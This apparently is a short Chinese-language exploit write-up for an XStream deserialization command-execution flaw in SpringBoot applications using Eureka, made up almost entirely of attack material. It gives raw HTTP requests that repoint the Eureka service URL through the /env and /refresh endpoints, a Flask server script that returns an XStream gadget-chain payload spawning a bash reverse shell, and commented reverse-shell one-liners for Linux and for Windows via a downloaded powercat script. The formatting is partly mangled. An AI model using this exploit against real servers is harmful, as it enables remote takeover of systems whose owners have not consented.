记一次SpringBoot eureka XStream 反序列化命令执行漏洞

POST /env HTTP/1.1Host: xxx.com:9099Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 67
eureka.client.serviceUrl.defaultZone=http://<dnslog的地址>

```bashPOST /refresh TTP/1.1Host: xxx.com:9099Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

# -*- coding: utf-8 -*-# @Time    : 2019/3/12 10:06# @Author  : j1anFen# @Site    :# @File    : run.py
# linux反弹shell bash -i >&amp; /dev/tcp/192.168.20.82/9999 0>&amp;1# windows反弹shell# <string>powershell</string># <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string># <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})@app.route('/<path:path>', methods = ['GET', 'POST'])def catch_all(path):    xml = """<linked-hash-set>  <jdk.nashorn.internal.objects.NativeString>    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">      <dataHandler>        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">          <is class="javax.crypto.CipherInputStream">            <cipher class="javax.crypto.NullCipher">              <serviceIterator class="javax.imageio.spi.FilterIterator">                <iter class="javax.imageio.spi.FilterIterator">                  <iter class="java.util.Collections$EmptyIterator"/>                  <next class="java.lang.ProcessBuilder">                    <command>                                <string>/bin/bash</string>                      <string>-c</string>                      <string>bash -i >&amp; /dev/tcp/<vps的ip地址>/8446 0>&amp;1</string>                    </command>                    <redirectErrorStream>false</redirectErrorStream>                  </next>                </iter>                <filter class="javax.imageio.ImageIO$ContainsFilter">                  <method>                    <class>java.lang.ProcessBuilder</class>                    <name>start</name>                    <parameter-types/>                  </method>                  <name>foo</name>                </filter>                <next class="string">foo</next>              </serviceIterator>              <lock/>            </cipher>            <input class="java.lang.ProcessBuilder$NullInputStream"/>            <ibuffer></ibuffer>          </is>        </dataSource>      </dataHandler>    </value>  </jdk.nashorn.internal.objects.NativeString></linked-hash-set>"""    return Response(xml, mimetype='application/xml')if __name__ == "__main__":    app.run(host='0.0.0.0', port=8088)